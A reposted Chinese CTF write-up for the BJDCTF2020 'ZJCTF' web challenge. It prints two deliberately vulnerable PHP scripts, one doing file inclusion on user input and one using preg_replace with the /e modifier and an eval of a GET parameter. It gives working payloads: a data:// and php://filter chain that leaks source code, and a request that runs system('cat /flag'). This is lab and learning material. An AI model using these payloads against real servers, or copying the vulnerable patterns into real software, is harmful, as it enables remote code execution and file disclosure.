[BJDCTF2020]ZJCTF,不過如此


知識點:
preg_replace()使用的/e模式可以存在遠程執行代碼
解析見鏈接:https://xz.aliyun.com/t/2557

看題目
首先是一段源代碼:

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

text是PHP的DATA偽協議 file是PHP的filter偽協議
payload:

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

得到第二段源代碼:

 
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

payload如下:

next.php?\S*=${getflag()}&cmd=system('cat /flag');


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM